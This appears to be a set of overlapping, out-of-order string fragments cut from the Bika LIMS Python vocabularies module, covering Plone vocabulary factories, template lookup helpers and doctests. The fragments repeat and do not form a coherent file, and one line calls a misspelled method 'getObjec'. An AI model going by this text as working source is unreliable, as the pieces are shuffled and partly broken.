"'user1', ... 'email': '<EMAIL>', ... 'fullname': 'user1'} ... ) <MemberData at /plone/portal_memberdata/user1 used",
"context): site = getSite() request = aq_get(site, 'REQUEST', None) items = [] wf",
"= 'reports' p = os.path.join(\"browser\", \"analysisrequest\", \"templates\", resdirname) return getTemplates(p, resdirname) class ARReportTemplatesVocabulary(object):",
"in templates/stickers, and with a filename \"EAN128_default_small.pt\", the dictionary will look like: {'id':",
"portal_type in self.portal_types: objects = list(folder.objectValues(portal_type)) objects = [o for o in objects",
"login >>> login(portal, TEST_USER_NAME) >>> setRoles(portal, TEST_USER_ID, ['Manager',]) >>> from zope.component import queryUtility",
"p = os.path.join(\"browser\", \"analysisrequest\", \"templates\", resdirname) return getTemplates(p, resdirname) class ARReportTemplatesVocabulary(object): \"\"\"Locate all",
"= list(folder.objectValues(portal_type)) objects = [o for o in objects if wf.getInfoFor(o, 'inactive_state') ==",
"in the Bika LIMS path specified plus the templates from the resources directory",
"listed as indexed by bika_catalog \"\"\" implements(IVocabularyFactory) def __call__(self, context): translate = context.translate",
"= catalog(self.contentFilter) items = [('', '')] if allow_blank else [] for brain in",
"site = getSite() request = aq_get(site, 'REQUEST', None) items = [] for client",
"an array with the Templates available in the Bika LIMS path specified plus",
"items = wftool.listWFStatesByTitle(filter_similar=True) items_dict = dict([(i[1], t(i[0])) for i in items]) items_list =",
"else self.contentFilter def __call__(self, **kwargs): site = getSite() request = aq_get(site, 'REQUEST', None)",
"and 'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['inactive_state'] = 'active' elif 'bika_cancellation_workflow' in wf_ids \\",
"bikalims_path) tempath = os.path.join(templates_dir, '*.pt') templates = [os.path.split(x)[-1] for x in glob.glob(tempath)] #",
"= ARReportTemplatesVocabulary() class CustomPubPrefVocabulary(object): implements(IVocabularyFactory) def __call__(self, context): items = [ (_('Email'),'email'), (_('PDF'),",
"else self.value self.contentFilter = \\ contentFilter if contentFilter else self.contentFilter def __call__(self, **kwargs):",
"getattr(brain, self.key) value = getattr(brain, self.value) else: obj = brain.getObjec() key = obj[self.key]",
"util(portal) >>> states <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> pub = states.by_token['published'] >>> pub.title,",
"\"\"\" resdirname = 'reports' p = os.path.join(\"browser\", \"analysisrequest\", \"templates\", resdirname) return getTemplates(p, resdirname)",
"def __init__(self, roles=[]): self.roles = roles if isinstance(roles, (tuple, list)) else [roles, ]",
"util = queryUtility(IVocabularyFactory, name) >>> tool = getToolByName(portal, \"portal_workflow\") >>> states = util(portal)",
"return getTemplates(p, resdirname) class ARReportTemplatesVocabulary(object): \"\"\"Locate all ARReport templates to allow user to",
"the AR Templates available in Bika LIMS plus the templates from the 'reports'",
"key = callable(key) and key() or key value = obj[self.value] value = callable(value)",
"__init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_storagelocations', ], ['StorageLocation', ]) StorageLocationVocabularyFactory = StorageLocationVocabulary() class SamplePointVocabulary(BikaContentVocabulary): def __init__(self):",
"resources directory type from each additional product. Each array item is a dictionary",
"factory for workflow states. >>> from zope.component import queryUtility >>> portal = layer['portal']",
"templates = [os.path.split(x)[-1] for x in glob.glob(tempath)] # Retrieve the templates from other",
"return getTemplates(p, resdirname) class StickerTemplatesVocabulary(object): \"\"\" Locate all sticker templates \"\"\" implements(IVocabularyFactory) def",
"{ ... 'username': 'user1', ... 'email': '<EMAIL>', ... 'fullname': 'user1'} ... ) <MemberData",
"if not objects: continue objects.sort(lambda x, y: cmp(x.Title().lower(), y.Title().lower())) xitems = [(t(item.Title()), item.Title())",
"y[1])) terms = [SimpleTerm(k, title=u'%s' % v) for k, v in items_list] return",
"self.portal_types: objects = list(folder.objectValues(portal_type)) objects = [o for o in objects if wf.getInfoFor(o,",
"into a separate widget. # we get REQUEST from wftool because context may",
"without extension. As an example, for a template from the my.product add-on located",
"self.context = context self.key = key if key else self.key self.value = value",
"bika.lims import bikaMessageFactory as _ from bika.lims.utils import t from bika.lims.interfaces import IDisplayListVocabulary,",
"if 'portal_type' in self.contentFilter: portal_type = self.contentFilter['portal_type'] wf_ids = [x.id for x in",
"and with a filename \"My_cool_report.pt\", the dictionary will look like: {'id': 'my.product:My_cool_report.pt', 'title':",
"folder = site.restrictedTraverse(folder) for portal_type in self.portal_types: objects = list(folder.objectValues(portal_type)) objects = [o",
"portal.clients.client1 >>> client1.processForm() >>> client1.invokeFactory('Contact', id='contact1') 'contact1' >>> contact1 = client1.contact1 >>> contact1.processForm()",
"will look like: {'id': 'my.product:EAN128_default_small.pt', 'title': 'my.product: EAN128 default small'} \"\"\" # Retrieve",
"implements from pkg_resources import resource_filename from plone.resource.utils import iterDirectoriesOfType from zope.schema.interfaces import IVocabularyFactory",
"'allow_blank' in kwargs: allow_blank = True del (kwargs['allow_blank']) self.contentFilter.update(**kwargs) # If a secondary",
"zope.schema.vocabulary import SimpleTerm from zope.schema.vocabulary import SimpleVocabulary from zope.component import getAdapters from zope.site.hooks",
"if key else self.key self.value = value if value else self.value self.contentFilter =",
"the resources directory specified and available on each additional product (restype). Each array",
"'my.product: EAN128 default small'} \"\"\" # Retrieve the templates from bika.lims add-on resdirname",
"= { ... 'username': 'user1', ... 'email': '<EMAIL>', ... 'fullname': 'user1'} ... )",
"in glob.glob(tempath)] # Retrieve the templates from other add-ons for templates_resource in iterDirectoriesOfType(restype):",
"callable(value) and value() or value items.append((key, t(value))) return DisplayList(items) class BikaContentVocabulary(object): \"\"\"Vocabulary factory",
"x, y: cmp(x.getFullname().lower(), y.getFullname().lower())) xitems = [(to_utf8(item.getFullname()), item.getFullname()) for item in objects] xitems",
"template, 'title': title}) return out def getARReportTemplates(): \"\"\" Returns an array with the",
"implements(IVocabularyFactory) def __call__(self, context): translate = context.translate types = ( ('AnalysisRequest', translate(to_utf8(_('Analysis Request')))),",
">>> portal = layer['portal'] >>> from plone.app.testing import TEST_USER_NAME >>> from plone.app.testing import",
"the following structure: {'id': <template_id>, 'title': <template_title>} If the template lives outside the",
"objects: continue objects.sort(lambda x, y: cmp(x.Title().lower(), y.Title().lower())) xitems = [(t(item.Title()), item.Title()) for item",
"i in items]) items_list = [(k, v) for k, v in items_dict.items()] items_list.sort(lambda",
"class UserVocabulary(object): \"\"\" Present a vocabulary containing users in the specified list of",
"SimpleVocabulary(items) ClientContactVocabularyFactory = ClientContactVocabulary() class AnalystVocabulary(UserVocabulary): def __init__(self): UserVocabulary.__init__(self, roles=['Analyst', ]) AnalystVocabularyFactory =",
"= context self.key = key if key else self.key self.value = value if",
"continue objects.sort(lambda x, y: cmp(x.Title().lower(), y.Title().lower())) xitems = [(t(item.Title()), item.Title()) for item in",
"all ARReport templates to allow user to set the default \"\"\" implements(IVocabularyFactory) def",
"= queryUtility(IVocabularyFactory, name) >>> tool = portal.portal_registration >>> tool.addMember('user1', 'user1', ... properties =",
"zope.component import queryUtility >>> name = 'bika.lims.vocabularies.AnalysisCategories' >>> util = queryUtility(IVocabularyFactory, name) >>>",
"AnalysisServiceVocabularyFactory = AnalysisServiceVocabulary() class ClientVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['clients', ], ['Client', ]) ClientVocabularyFactory",
"Present a vocabulary containing users in the specified list of roles >>> from",
"\"\"\" implements(IVocabularyFactory) def __call__(self, context): out = [SimpleTerm(x['id'], x['id'], x['title']) for x in",
"continue dirlist = templates_resource.listDirectory() exts = ['{0}:{1}'.format(prefix, tpl) for tpl in dirlist if",
"templates to allow user to set the default \"\"\" implements(IVocabularyFactory) def __call__(self, context):",
"getSite() request = aq_get(site, 'REQUEST', None) items = [] for client in site.clients.objectValues('Client'):",
"from zope.schema.interfaces import IVocabularyFactory from zope.schema.vocabulary import SimpleTerm from zope.schema.vocabulary import SimpleVocabulary from",
"bika.lims.utils import t from bika.lims.interfaces import IDisplayListVocabulary, ICustomPubPref from bika.lims.utils import to_utf8 from",
"= layer['portal'] >>> name = 'bika.lims.vocabularies.ClientContacts' >>> util = queryUtility(IVocabularyFactory, name) >>> from",
"UserVocabulary.__init__(self, roles=['Analyst', ]) AnalystVocabularyFactory = AnalystVocabulary() class AnalysisRequestWorkflowStateVocabulary(object): \"\"\"Vocabulary factory for workflow states.",
"return only types listed as indexed by bika_catalog \"\"\" implements(IVocabularyFactory) def __call__(self, context):",
"import queryUtility >>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.ClientContacts' >>> util =",
"My cool report'} \"\"\" # Retrieve the templates from bika.lims add-on templates_dir =",
"for x in wf.getWorkflowsFor(portal_type)] if 'bika_inactive_workflow' in wf_ids \\ and 'bika_inactive_workflow' not in",
"objects = list(folder.objectValues(portal_type)) objects = [o for o in objects if wf.getInfoFor(o, 'inactive_state')",
"def __init__(self): UserVocabulary.__init__(self, roles=['Analyst', ]) AnalystVocabularyFactory = AnalystVocabulary() class AnalysisRequestWorkflowStateVocabulary(object): \"\"\"Vocabulary factory for",
"path specified plus the templates from the resources directory specified and available on",
"implements(IDisplayListVocabulary) catalog = 'portal_catalog' contentFilter = {} key = 'UID' value = 'Title'",
"example, for a template from the my.product add-on located in templates/reports dir, and",
"def getARReportTemplates(): \"\"\" Returns an array with the AR Templates available in Bika",
"and value() or value items.append((key, t(value))) return DisplayList(items) class BikaContentVocabulary(object): \"\"\"Vocabulary factory for",
"an adapter request = aq_get(wftool, 'REQUEST', None) wf = wftool.getWorkflowById('bika_ar_workflow') items = wftool.listWFStatesByTitle(filter_similar=True)",
"and 'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['cancellation_state'] = 'active' brains = catalog(self.contentFilter) items =",
"'test_user_1_' in source.by_value True >>> 'user1' in source.by_value True \"\"\" implements(IVocabularyFactory) def __init__(self,",
"AnalysisCategories >>> portal = layer['portal'] >>> from plone.app.testing import TEST_USER_NAME >>> from plone.app.testing",
"k, v in items_dict.items()] items_list.sort(lambda x, y: cmp(x[1], y[1])) terms = [SimpleTerm(k, title=u'%s'",
"obj = brain.getObjec() key = obj[self.key] key = callable(key) and key() or key",
"('Worksheet', translate(to_utf8(_('Worksheet')))) ) items = [SimpleTerm(i[0], i[0], i[1]) for i in types] return",
">>> contact1.reindexObject() >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>>",
"SimpleVocabulary from zope.component import getAdapters from zope.site.hooks import getSite import os import glob",
"context.translate types = ( ('AnalysisRequest', translate(to_utf8(_('Analysis Request')))), ('Batch', translate(to_utf8(_('Batch')))), ('Sample', translate(to_utf8(_('Sample')))), ('ReferenceSample', translate(to_utf8(_('Reference",
"[roles, ] def __call__(self, context): site = getSite() mtool = getToolByName(site, 'portal_membership') users",
"= getattr(brain, self.value) else: obj = brain.getObjec() key = obj[self.key] key = callable(key)",
"wf.getWorkflowsFor(portal_type)] if 'bika_inactive_workflow' in wf_ids \\ and 'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['inactive_state'] =",
"folders or [folders, ] self.portal_types = isinstance(portal_types, (tuple, list)) and \\ portal_types or",
"in items_dict.items()] items_list.sort(lambda x, y: cmp(x[1], y[1])) terms = [SimpleTerm(k, title=u'%s' % v)",
"= getSite() request = aq_get(site, 'REQUEST', None) items = [] for client in",
"array with the AR Templates available in Bika LIMS plus the templates from",
"SampleTypeVocabulary() class AnalysisServiceVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisservices', ], ['AnalysisService', ]) AnalysisServiceVocabularyFactory = AnalysisServiceVocabulary()",
"value if value else self.value self.contentFilter = \\ contentFilter if contentFilter else self.contentFilter",
"plone.app.testing import TEST_USER_NAME >>> from plone.app.testing import TEST_USER_ID >>> from plone.app.testing import setRoles",
">>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.Users' >>> util = queryUtility(IVocabularyFactory, name)",
"matches with the add-on identifier. template_title is the same name as the id,",
"following structure: {'id': <template_id>, 'title': <template_title>} If the template lives outside the bika.lims",
"out = [SimpleTerm(x['id'], x['id'], x['title']) for x in getStickerTemplates()] return SimpleVocabulary(out) ARReportTemplatesVocabularyFactory =",
"\\ and 'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['cancellation_state'] = 'active' brains = catalog(self.contentFilter) items",
"from zope.component import queryUtility >>> portal = layer['portal'] >>> name = 'bika.lims.vocabularies.AnalysisRequestWorkflowStates' >>>",
"= [SimpleTerm(k, title=u'%s' % v) for k, v in items_list] return SimpleVocabulary(terms) AnalysisRequestWorkflowStateVocabularyFactory",
"tpl) for tpl in dirlist if tpl.endswith('.pt')] templates.extend(exts) out = [] templates.sort() for",
"templates/stickers folder. Each array item is a dictionary with the following structure: {'id':",
"set the default \"\"\" implements(IVocabularyFactory) def __call__(self, context): out = [SimpleTerm(x['id'], x['id'], x['title'])",
"= layer['portal'] >>> from plone.app.testing import TEST_USER_NAME >>> from plone.app.testing import TEST_USER_ID >>>",
"SampleTypeVocabularyFactory = SampleTypeVocabulary() class AnalysisServiceVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisservices', ], ['AnalysisService', ]) AnalysisServiceVocabularyFactory",
"queryUtility(IVocabularyFactory, name) >>> tool = getToolByName(portal, \"portal_workflow\") >>> states = util(portal) >>> states",
"Sample')))), ('Worksheet', translate(to_utf8(_('Worksheet')))) ) items = [SimpleTerm(i[0], i[0], i[1]) for i in types]",
"= queryUtility(IVocabularyFactory, name) >>> from plone.app.testing import TEST_USER_NAME >>> from plone.app.testing import TEST_USER_ID",
"implements(IVocabularyFactory) def __call__(self, context): items = [ (_('Email'),'email'), (_('PDF'), 'pdf') ] for name,",
"the TAL templates saved in templates/stickers folder. Each array item is a dictionary",
"self.contentFilter['inactive_state'] = 'active' elif 'bika_cancellation_workflow' in wf_ids \\ and 'bika_inactive_workflow' not in self.contentFilter:",
"plone.app.testing import setRoles >>> from plone.app.testing import login >>> login(portal, TEST_USER_NAME) >>> setRoles(portal,",
"= client1.contact1 >>> contact1.processForm() >>> contact1.edit(Firstname='Contact', Surname='One') >>> contact1.reindexObject() >>> source = util(portal)",
"example, for a template from the my.product add-on located in templates/stickers, and with",
"SamplePointVocabularyFactory = SamplePointVocabulary() class SampleTypeVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_sampletypes', ], ['SampleType', ]) SampleTypeVocabularyFactory",
"properties = { ... 'username': 'user1', ... 'email': '<EMAIL>', ... 'fullname': 'user1'} ...",
"bika_catalog \"\"\" implements(IVocabularyFactory) def __call__(self, context): translate = context.translate types = ( ('AnalysisRequest',",
"types = ( ('AnalysisRequest', translate(to_utf8(_('Analysis Request')))), ('Batch', translate(to_utf8(_('Batch')))), ('Sample', translate(to_utf8(_('Sample')))), ('ReferenceSample', translate(to_utf8(_('Reference Sample')))),",
"both the template_id and template_title include a prefix that matches with the add-on",
"else [] for brain in brains: if self.key in brain and self.value in",
"pub.token, pub.value (u'Published', 'published', 'published') \"\"\" implements(IVocabularyFactory) def __call__(self, context): portal = getSite()",
"title.replace('_', ' ') title = title.replace(':', ': ') out.append({'id': template, 'title': title}) return",
"from wftool because context may be an adapter request = aq_get(wftool, 'REQUEST', None)",
"with the Templates available in the Bika LIMS path specified plus the templates",
"the dictionary will look like: {'id': 'my.product:My_cool_report.pt', 'title': 'my.product: My cool report'} \"\"\"",
"== 'active'] if not objects: continue objects.sort(lambda x, y: cmp(x.Title().lower(), y.Title().lower())) xitems =",
"in items]) items_list = [(k, v) for k, v in items_dict.items()] items_list.sort(lambda x,",
"self.catalog) if 'allow_blank' in kwargs: allow_blank = True del (kwargs['allow_blank']) self.contentFilter.update(**kwargs) # If",
"self.portal_types = isinstance(portal_types, (tuple, list)) and \\ portal_types or [portal_types, ] def __call__(self,",
"a separate widget. # we get REQUEST from wftool because context may be",
"find them by listing folder contents directly. \"\"\" implements(IVocabularyFactory) def __init__(self, folders, portal_types):",
"context): items = [ (_('Email'),'email'), (_('PDF'), 'pdf') ] for name, item in getAdapters((context,",
"__call__(self, context): site = getSite() mtool = getToolByName(site, 'portal_membership') users = mtool.searchForMembers(roles=self.roles) items",
"the id, but with whitespaces and without extension. As an example, for a",
"only types listed as indexed by bika_catalog \"\"\" implements(IVocabularyFactory) def __call__(self, context): translate",
"class AnalystVocabulary(UserVocabulary): def __init__(self): UserVocabulary.__init__(self, roles=['Analyst', ]) AnalystVocabularyFactory = AnalystVocabulary() class AnalysisRequestWorkflowStateVocabulary(object): \"\"\"Vocabulary",
">>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'Water Chemistry'",
"resdirname) class ARReportTemplatesVocabulary(object): \"\"\"Locate all ARReport templates to allow user to set the",
">>> source <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'test_user_1_' in source.by_value True >>> 'user1'",
"not in self.contentFilter: self.contentFilter['inactive_state'] = 'active' elif 'bika_cancellation_workflow' in wf_ids \\ and 'bika_inactive_workflow'",
"add-on located in templates/stickers, and with a filename \"EAN128_default_small.pt\", the dictionary will look",
"array with the Templates available in the Bika LIMS path specified plus the",
"list of roles >>> from zope.component import queryUtility >>> portal = layer['portal'] >>>",
"for i in items]) items_list = [(k, v) for k, v in items_dict.items()]",
"x['id'], x['title']) for x in getStickerTemplates()] return SimpleVocabulary(out) ARReportTemplatesVocabularyFactory = ARReportTemplatesVocabulary() class CustomPubPrefVocabulary(object):",
"shouldn't be request specific. # The sorting should go into a separate widget.",
"<zope.schema.vocabulary.SimpleVocabulary object at ...> >>> 'Contact One' in source.by_value True \"\"\" implements(IVocabularyFactory) def",
"glob.glob(tempath)] # Retrieve the templates from other add-ons for templates_resource in iterDirectoriesOfType(restype): prefix",
"name) >>> folder = portal.bika_setup.bika_analysiscategories >>> objects = folder.objectValues() >>> len(objects) 3 >>>",
"import IVocabularyFactory from zope.schema.vocabulary import SimpleTerm from zope.schema.vocabulary import SimpleVocabulary from zope.component import",
"templates from the 'reports' resources directory type from each additional product. Each array",
"import aq_get from bika.lims import bikaMessageFactory as _ from bika.lims.utils import t from",
"report'} \"\"\" resdirname = 'reports' p = os.path.join(\"browser\", \"analysisrequest\", \"templates\", resdirname) return getTemplates(p,",
"'UID' value = 'Title' def __init__(self, context, key=None, value=None, contentFilter=None): self.context = context",
"= wftool.listWFStatesByTitle(filter_similar=True) items_dict = dict([(i[1], t(i[0])) for i in items]) items_list = [(k,",
"AnalysisCategoryVocabulary() class AnalysisProfileVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisprofiles', ], ['AnalysisProfile', ]) AnalysisProfileVocabularyFactory = AnalysisProfileVocabulary()",
"contentFilter = {} key = 'UID' value = 'Title' def __init__(self, context, key=None,",
"= site.restrictedTraverse(folder) for portal_type in self.portal_types: objects = list(folder.objectValues(portal_type)) objects = [o for",
"+= xitems return SimpleVocabulary(items) ClientContactVocabularyFactory = ClientContactVocabulary() class AnalystVocabulary(UserVocabulary): def __init__(self): UserVocabulary.__init__(self, roles=['Analyst',",
"for o in objects if wf.getInfoFor(o, 'inactive_state') == 'active'] if not objects: continue",
"a template from the my.product add-on located in <restype> resource dir, and with",
"at ...> >>> pub = states.by_token['published'] >>> pub.title, pub.token, pub.value (u'Published', 'published', 'published')",
"in kwargs: allow_blank = True del (kwargs['allow_blank']) self.contentFilter.update(**kwargs) # If a secondary deactivation/cancellation",
"Client Contacts >>> from zope.component import queryUtility >>> portal = layer['portal'] >>> name",
"if contentFilter else self.contentFilter def __call__(self, **kwargs): site = getSite() request = aq_get(site,",
"an example, for a template from the my.product add-on located in <restype> resource",
">>> states = util(portal) >>> states <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> pub =",
"in wf.getWorkflowsFor(portal_type)] if 'bika_inactive_workflow' in wf_ids \\ and 'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['inactive_state']",
"True \"\"\" implements(IVocabularyFactory) def __call__(self, context): site = getSite() request = aq_get(site, 'REQUEST',",
"= portal.portal_registration >>> tool.addMember('user1', 'user1', ... properties = { ... 'username': 'user1', ...",
"key = 'UID' value = 'Title' def __init__(self, context, key=None, value=None, contentFilter=None): self.context",
"go into a separate widget. # we get REQUEST from wftool because context",
"user to set the default \"\"\" implements(IVocabularyFactory) def __call__(self, context): out = [SimpleTerm(x['id'],",
"is None: return SimpleVocabulary([]) # XXX This is evil. A vocabulary shouldn't be",
"contact1.processForm() >>> contact1.edit(Firstname='Contact', Surname='One') >>> contact1.reindexObject() >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary",
"import resource_filename from plone.resource.utils import iterDirectoriesOfType from zope.schema.interfaces import IVocabularyFactory from zope.schema.vocabulary import",
"bika.lims.interfaces import IDisplayListVocabulary, ICustomPubPref from bika.lims.utils import to_utf8 from Products.Archetypes.public import DisplayList from",
"object at ...> >>> 'test_user_1_' in source.by_value True >>> 'user1' in source.by_value True",
"'user1'} ... ) <MemberData at /plone/portal_memberdata/user1 used for /plone/acl_users> >>> source = util(portal)",
"'bika.lims.vocabularies.AnalysisCategories' >>> util = queryUtility(IVocabularyFactory, name) >>> folder = portal.bika_setup.bika_analysiscategories >>> objects =",
"\"\"\" # Retrieve the templates from bika.lims add-on resdirname = 'stickers' p =",
"import login >>> login(portal, TEST_USER_NAME) >>> setRoles(portal, TEST_USER_ID, ['Manager',]) >>> from zope.component import",
"the sticker templates available. Retrieves the TAL templates saved in templates/stickers folder. Each",
"glob class CatalogVocabulary(object): \"\"\"Make vocabulary from catalog query. \"\"\" implements(IDisplayListVocabulary) catalog = 'portal_catalog'",
"os.path.join(templates_dir, '*.pt') templates = [os.path.split(x)[-1] for x in glob.glob(tempath)] # Retrieve the templates",
"True \"\"\" def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysiscategories', ], ['AnalysisCategory', ]) AnalysisCategoryVocabularyFactory = AnalysisCategoryVocabulary() class",
"'REQUEST', None) catalog = getToolByName(site, self.catalog) if 'allow_blank' in kwargs: allow_blank = True",
"will look like: {'id': 'my.product:My_cool_report.pt', 'title': 'my.product: My cool report'} \"\"\" resdirname =",
"my.product add-on located in templates/stickers, and with a filename \"EAN128_default_small.pt\", the dictionary will",
"object at ...> >>> pub = states.by_token['published'] >>> pub.title, pub.token, pub.value (u'Published', 'published',",
"i[1], i[0]) for i in xitems] items += xitems return SimpleVocabulary(items) class BikaCatalogTypesVocabulary(object):",
"(u'Published', 'published', 'published') \"\"\" implements(IVocabularyFactory) def __call__(self, context): portal = getSite() wftool =",
"'my.product:EAN128_default_small.pt', 'title': 'my.product: EAN128 default small'} \"\"\" # Retrieve the templates from bika.lims",
"context, key=None, value=None, contentFilter=None): self.context = context self.key = key if key else",
"...> >>> 'test_user_1_' in source.by_value True >>> 'user1' in source.by_value True \"\"\" implements(IVocabularyFactory)",
"wf_ids \\ and 'bika_inactive_workflow' not in self.contentFilter: self.contentFilter['inactive_state'] = 'active' elif 'bika_cancellation_workflow' in",
"objects.sort(lambda x, y: cmp(x.Title().lower(), y.Title().lower())) xitems = [(t(item.Title()), item.Title()) for item in objects]",
"= os.path.join(\"browser\", \"templates\", resdirname) return getTemplates(p, resdirname) class StickerTemplatesVocabulary(object): \"\"\" Locate all sticker",
"'client1' >>> client1 = portal.clients.client1 >>> client1.processForm() >>> client1.invokeFactory('Contact', id='contact1') 'contact1' >>> contact1",
"{'id': 'my.product:My_cool_report.pt', 'title': 'my.product: My cool report'} \"\"\" resdirname = 'reports' p =",
"the default \"\"\" implements(IVocabularyFactory) def __call__(self, context): out = [SimpleTerm(x['id'], x['id'], x['title']) for",
"(tuple, list)) and \\ portal_types or [portal_types, ] def __call__(self, context): site =",
"dirlist = templates_resource.listDirectory() exts = ['{0}:{1}'.format(prefix, tpl) for tpl in dirlist if tpl.endswith('.pt')]",
"-*- from Acquisition import aq_get from bika.lims import bikaMessageFactory as _ from bika.lims.utils",
"_ from bika.lims.utils import t from bika.lims.interfaces import IDisplayListVocabulary, ICustomPubPref from bika.lims.utils import",
"\"templates\", resdirname) return getTemplates(p, resdirname) class ARReportTemplatesVocabulary(object): \"\"\"Locate all ARReport templates to allow",
"portal.bika_setup.bika_analysiscategories >>> objects = folder.objectValues() >>> len(objects) 3 >>> source = util(portal) >>>",
"t(value))) return DisplayList(items) class BikaContentVocabulary(object): \"\"\"Vocabulary factory for Bika Setup objects. We find",
"folder = portal.bika_setup.bika_analysiscategories >>> objects = folder.objectValues() >>> len(objects) 3 >>> source =",
"xitems] items += xitems return SimpleVocabulary(items) ClientContactVocabularyFactory = ClientContactVocabulary() class AnalystVocabulary(UserVocabulary): def __init__(self):",
"= getSite() mtool = getToolByName(site, 'portal_membership') users = mtool.searchForMembers(roles=self.roles) items = [(item.getProperty('fullname'), item.getId())",
"items += xitems return SimpleVocabulary(items) ClientContactVocabularyFactory = ClientContactVocabulary() class AnalystVocabulary(UserVocabulary): def __init__(self): UserVocabulary.__init__(self,",
">>> 'Contact One' in source.by_value True \"\"\" implements(IVocabularyFactory) def __call__(self, context): site =",
"contentFilter=None): self.context = context self.key = key if key else self.key self.value =",
"i[1], i[0]) for i in xitems] items += xitems return SimpleVocabulary(items) ClientContactVocabularyFactory =",
"BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisservices', ], ['AnalysisService', ]) AnalysisServiceVocabularyFactory = AnalysisServiceVocabulary() class ClientVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self,",
"**kwargs): site = getSite() request = aq_get(site, 'REQUEST', None) catalog = getToolByName(site, self.catalog)",
"= util(portal) >>> states <zope.schema.vocabulary.SimpleVocabulary object at ...> >>> pub = states.by_token['published'] >>>",
">>> len(objects) 3 >>> source = util(portal) >>> source <zope.schema.vocabulary.SimpleVocabulary object at ...>",
">>> 'user1' in source.by_value True \"\"\" implements(IVocabularyFactory) def __init__(self, roles=[]): self.roles = roles",
"class ARPrioritiesVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_arpriorities', ], ['ARPriority', ]) def getTemplates(bikalims_path, restype): \"\"\"",
"queryUtility >>> name = 'bika.lims.vocabularies.AnalysisCategories' >>> util = queryUtility(IVocabularyFactory, name) >>> folder =",
"def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_sampletypes', ], ['SampleType', ]) SampleTypeVocabularyFactory = SampleTypeVocabulary() class AnalysisServiceVocabulary(BikaContentVocabulary): def",
"[] templates.sort() for template in templates: title = template[:-3] title = title.replace('_', '",
"[ (_('Email'),'email'), (_('PDF'), 'pdf') ] for name, item in getAdapters((context, ), ICustomPubPref): items.append(item)",
"directory type from each additional product. Each array item is a dictionary with",
"resource_filename(\"bika.lims\", bikalims_path) tempath = os.path.join(templates_dir, '*.pt') templates = [os.path.split(x)[-1] for x in glob.glob(tempath)]",
"['ARPriority', ]) def getTemplates(bikalims_path, restype): \"\"\" Returns an array with the Templates available",
"items = [SimpleTerm(i[1], i[1], i[0]) for i in items] return SimpleVocabulary(items) UserVocabularyFactory =",
"filtered to return only types listed as indexed by bika_catalog \"\"\" implements(IVocabularyFactory) def",
"'user1', ... properties = { ... 'username': 'user1', ... 'email': '<EMAIL>', ... 'fullname':",
"AnalysisProfileVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisprofiles', ], ['AnalysisProfile', ]) AnalysisProfileVocabularyFactory = AnalysisProfileVocabulary() class StorageLocationVocabulary(BikaContentVocabulary):",
">>> util = queryUtility(IVocabularyFactory, name) >>> tool = getToolByName(portal, \"portal_workflow\") >>> states =",
"directory specified and available on each additional product (restype). Each array item is",
"login(portal, TEST_USER_NAME) >>> setRoles(portal, TEST_USER_ID, ['Manager',]) >>> from zope.component import queryUtility >>> name",
"catalog = getToolByName(site, self.catalog) if 'allow_blank' in kwargs: allow_blank = True del (kwargs['allow_blank'])",
"') title = title.replace(':', ': ') out.append({'id': template, 'title': title}) return out def",
"restype): \"\"\" Returns an array with the Templates available in the Bika LIMS",
"wf_ids = [x.id for x in wf.getWorkflowsFor(portal_type)] if 'bika_inactive_workflow' in wf_ids \\ and",
"getAdapters from zope.site.hooks import getSite import os import glob class CatalogVocabulary(object): \"\"\"Make vocabulary",
"objects.sort(lambda x, y: cmp(x.getFullname().lower(), y.getFullname().lower())) xitems = [(to_utf8(item.getFullname()), item.getFullname()) for item in objects]",
"specified plus the templates from the resources directory specified and available on each",
"import t from bika.lims.interfaces import IDisplayListVocabulary, ICustomPubPref from bika.lims.utils import to_utf8 from Products.Archetypes.public",
"i[0]) for i in xitems] items += xitems return SimpleVocabulary(items) ClientContactVocabularyFactory = ClientContactVocabulary()",
"allow user to set the default \"\"\" implements(IVocabularyFactory) def __call__(self, context): out =",
"name) >>> tool = getToolByName(portal, \"portal_workflow\") >>> states = util(portal) >>> states <zope.schema.vocabulary.SimpleVocabulary",
"request = aq_get(site, 'REQUEST', None) items = [] wf = site.portal_workflow for folder",
"zope.interface import implements from pkg_resources import resource_filename from plone.resource.utils import iterDirectoriesOfType from zope.schema.interfaces",
"]) AnalysisCategoryVocabularyFactory = AnalysisCategoryVocabulary() class AnalysisProfileVocabulary(BikaContentVocabulary): def __init__(self): BikaContentVocabulary.__init__(self, ['bika_setup/bika_analysisprofiles', ], ['AnalysisProfile', ])",
"getSite() mtool = getToolByName(site, 'portal_membership') users = mtool.searchForMembers(roles=self.roles) items = [(item.getProperty('fullname'), item.getId()) for",
"for a template from the my.product add-on located in <restype> resource dir, and",
"\"\"\" # Retrieve the templates from bika.lims add-on templates_dir = resource_filename(\"bika.lims\", bikalims_path) tempath",
